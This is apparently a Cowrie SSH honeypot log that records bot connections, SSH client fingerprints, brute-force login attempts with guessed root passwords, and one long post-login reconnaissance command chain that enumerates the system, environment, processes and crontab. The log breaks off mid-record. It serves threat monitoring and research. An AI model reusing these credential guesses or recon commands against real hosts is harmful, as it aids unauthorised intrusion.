{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:45:37.619847Z","src_ip":"92.118.39.92","session":"d9129755f3f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":34636,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0a11b82a36a","protocol":"ssh","message":"New connection: 2.57.122.210:34636 (10.17.0.5:22) [session: a0a11b82a36a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:46:15.259463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:46:15.263741Z","src_ip":"2.57.122.210","session":"a0a11b82a36a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:46:15.366826Z","src_ip":"2.57.122.210","session":"a0a11b82a36a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ZXCVASDFQWER2!@#$","message":"login attempt [ubuntu/ZXCVASDFQWER2!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:46:15.802785Z","src_ip":"2.57.122.210","session":"a0a11b82a36a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:46:16.908310Z","src_ip":"2.57.122.210","session":"a0a11b82a36a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":38676,"dst_ip":"159.203.135.109","dst_port":22,"session":"c07e7b8b8ffb","protocol":"ssh","message":"New connection: 2.57.122.208:38676 (159.203.135.109:22) [session: c07e7b8b8ffb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:47:47.316820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:47:47.334344Z","src_ip":"2.57.122.208","session":"c07e7b8b8ffb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:47:47.456913Z","src_ip":"2.57.122.208","session":"c07e7b8b8ffb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:47:47.915678Z","src_ip":"2.57.122.208","session":"c07e7b8b8ffb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:47:49.088040Z","src_ip":"2.57.122.208","session":"c07e7b8b8ffb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":55776,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1d5bd2233c3","protocol":"ssh","message":"New connection: 92.118.39.92:55776 (10.17.0.5:22) [session: b1d5bd2233c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:47:55.658630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:47:55.666808Z","src_ip":"92.118.39.92","session":"b1d5bd2233c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:47:55.790384Z","src_ip":"92.118.39.92","session":"b1d5bd2233c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validate","password":"validate","message":"login attempt [validate/validate] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:47:56.255834Z","src_ip":"92.118.39.92","session":"b1d5bd2233c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:47:57.364450Z","src_ip":"92.118.39.92","session":"b1d5bd2233c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":37392,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec58fa74157d","protocol":"ssh","message":"New connection: 2.57.122.210:37392 (10.17.0.5:22) [session: ec58fa74157d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:48:30.596967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:48:30.601265Z","src_ip":"2.57.122.210","session":"ec58fa74157d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:48:30.701677Z","src_ip":"2.57.122.210","session":"ec58fa74157d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"!@#$%^","message":"login attempt [root/!@#$%^] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:48:31.005973Z","src_ip":"2.57.122.210","session":"ec58fa74157d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:48:31.233939Z","src_ip":"2.57.122.210","session":"ec58fa74157d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:48:31.236782Z","src_ip":"2.57.122.210","session":"ec58fa74157d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:48:31.339233Z","src_ip":"2.57.122.210","session":"ec58fa74157d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:48:31.343693Z","src_ip":"2.57.122.210","session":"ec58fa74157d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.166","src_port":64452,"dst_ip":"159.203.135.109","dst_port":22,"session":"71ee03b439f0","protocol":"ssh","message":"New connection: 198.235.24.166:64452 (159.203.135.109:22) [session: 71ee03b439f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:49:17.654370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:49:18.874689Z","src_ip":"198.235.24.166","session":"71ee03b439f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:49:19.869939Z","src_ip":"198.235.24.166","session":"71ee03b439f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.5","message":"Connection lost after 10.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:49:28.143317Z","src_ip":"198.235.24.166","session":"71ee03b439f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.27.19","src_port":44380,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0ad48c20522","protocol":"ssh","message":"New connection: 103.82.27.19:44380 (10.17.0.5:22) [session: a0ad48c20522]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:49:50.209653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:49:50.214003Z","src_ip":"103.82.27.19","session":"a0ad48c20522","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:49:50.474865Z","src_ip":"103.82.27.19","session":"a0ad48c20522","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Admin123","message":"login attempt [root/Admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:49:51.245728Z","src_ip":"103.82.27.19","session":"a0ad48c20522","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:49:51.793977Z","src_ip":"103.82.27.19","session":"a0ad48c20522","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"hostname; echo '___BSEP_A1B2C3___'; uname -a; echo '___BSEP_A1B2C3___'; whoami; echo '___BSEP_A1B2C3___'; pwd; echo '___BSEP_A1B2C3___'; ls -la /; echo '___BSEP_A1B2C3___'; ps aux | head -15; echo '___BSEP_A1B2C3___'; netstat -tulpn | head -10; echo '___BSEP_A1B2C3___'; history | tail -5; echo '___BSEP_A1B2C3___'; ssh -V 2>&1; echo '___BSEP_A1B2C3___'; uptime; echo '___BSEP_A1B2C3___'; mount | head -5; echo '___BSEP_A1B2C3___'; env | head -10; echo '___BSEP_A1B2C3___'; cat /etc/os-release 2>/dev/null | head -6; echo '___BSEP_A1B2C3___'; grep MemTotal /proc/meminfo 2>/dev/null; echo '___BSEP_A1B2C3___'; df -h / 2>/dev/null | tail -1; echo '___BSEP_A1B2C3___'; cat /proc/version 2>/dev/null; echo '___BSEP_A1B2C3___'; grep 'model name' /proc/cpuinfo 2>/dev/null | head -1; echo '___BSEP_A1B2C3___'; cat /etc/issue 2>/dev/null; echo '___BSEP_A1B2C3___'; last -n 3 2>/dev/null | head -3; echo '___BSEP_A1B2C3___'; ls /dev 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /var/log 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /opt 2>/dev/null; echo '___BSEP_A1B2C3___'; crontab -l 2>/dev/null | head -5; echo '___BSEP_A1B2C3___'; nproc 2>/dev/null || grep -c '^processor' /proc/cpuinfo 2>/dev/null","message":"CMD: hostname; echo '___BSEP_A1B2C3___'; uname -a; echo '___BSEP_A1B2C3___'; whoami; echo '___BSEP_A1B2C3___'; pwd; echo '___BSEP_A1B2C3___'; ls -la /; echo '___BSEP_A1B2C3___'; ps aux | head -15; echo '___BSEP_A1B2C3___'; netstat -tulpn | head -10; echo '___BSEP_A1B2C3___'; history | tail -5; echo '___BSEP_A1B2C3___'; ssh -V 2>&1; echo '___BSEP_A1B2C3___'; uptime; echo '___BSEP_A1B2C3___'; mount | head -5; echo '___BSEP_A1B2C3___'; env | head -10; echo '___BSEP_A1B2C3___'; cat /etc/os-release 2>/dev/null | head -6; echo '___BSEP_A1B2C3___'; grep MemTotal /proc/meminfo 2>/dev/null; echo '___BSEP_A1B2C3___'; df -h / 2>/dev/null | tail -1; echo '___BSEP_A1B2C3___'; cat /proc/version 2>/dev/null; echo '___BSEP_A1B2C3___'; grep 'model name' /proc/cpuinfo 2>/dev/null | head -1; echo '___BSEP_A1B2C3___'; cat /etc/issue 2>/dev/null; echo '___BSEP_A1B2C3___'; last -n 3 2>/dev/null | head -3; echo '___BSEP_A1B2C3___'; ls /dev 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /var/log 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /opt 2>/dev/null; echo '___BSEP_A1B2C3___'; crontab -l 2>/dev/null | head -5; echo '___BSEP_A1B2C3___'; nproc 2>/dev/null || grep -c '^processor' /proc/cpuinfo 2>/dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:49:51.797006Z","src_ip":"103.82.27.19","session":"a0ad48c20522","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/21a31c66cd6f07e3cc706bebdfbe0bd182d914c520f9a9201c2561f4713ea068","size":2189,"shasum":"21a31c66cd6f07e3cc706bebdfbe0bd182d914c520f9a9201c2561f4713ea068","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/21a31c66cd6f07e3cc706bebdfbe0bd182d914c520f9a9201c2561f4713ea068 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:49:52.086028Z","src_ip":"103.82.27.19","session":"a0ad48c20522","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:49:52.090098Z","src_ip":"103.82.27.19","session":"a0ad48c20522","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":60364,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c8d00655c14","protocol":"ssh","message":"New connection: 2.57.122.208:60364 (159.203.135.109:22) [session: 5c8d00655c14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:49:59.760836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:49:59.777004Z","src_ip":"2.57.122.208","session":"5c8d00655c14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-n